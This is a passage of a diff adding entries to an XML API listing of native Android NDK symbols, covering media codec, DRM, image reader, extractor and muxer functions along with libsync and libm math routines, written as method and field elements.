+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlaneRowStride" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setInt64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_dequeueInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_setBufferRemovedListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_LANGUAGE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_requiresSecureDecoderComponent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getKeyRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getClearBytes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setOnEventListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createPersistentInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleCryptoInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_encrypt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleTrackIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_isCryptoSchemeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getTrackCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_I_FRAME_INTERVAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_WIDTH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getCropRect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_SAMPLE_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getPsshInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getInt32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_AAC_PROFILE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setParameters" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_setLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_closeSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlanePixelStride" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireNextImageAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setInt32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_flush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireLatestImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_advance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_DURATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_start" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_provideProvisionResponse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_selectTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getProvisionRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_queueSecureInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_stop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_start" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_toString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_provideKeyResponse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_seekTo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_removeKeys" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlaneData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_DEFAULT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_setPattern" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getNumSubSamples" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createEncoderByType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getEncryptedBytes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setPropertyByteArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getPropertyString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_setOrientationHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libsync.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync_merge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_info_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_info" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libm.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="lrintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log10l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="floorl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log1pf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gamma_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lrintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log1pl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ilogbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remainder" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csqrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmodf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nexttowardf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nexttoward" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fegetround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ilogbl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="j0f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csqrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmodl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fesetround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nexttowardl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sincosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log1p" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="drem" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fegetexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sincosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbnl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ceil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nextafterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="finite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remquo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llrint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nextafterl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="conj" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llrintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feholdexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remainderf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clogf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llrintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cproj" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="y0f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remainderl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clogl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="j1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fedisableexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cimag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logbl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="trunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sqrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__signbitf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__signbitl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feenableexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="modf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nextafter" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="y1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="conjf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tgammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="signgam" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="conjl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tgammal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fetestexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csqrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="y0" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ilogb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="y1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fabsf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feupdateenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cprojf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cimagf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="frexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fabsl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cprojl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cimagl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fegetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="copysignf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ceilf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ldexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="copysignl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cpow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fminf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ceill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ldexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="modff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fminl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fesetexceptflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="j0" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="modfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="j1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remquof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cargf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__signbit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remquol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cargl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdimf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nearbyintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dremf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdiml" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atan2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nearbyintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmaxf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atan2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
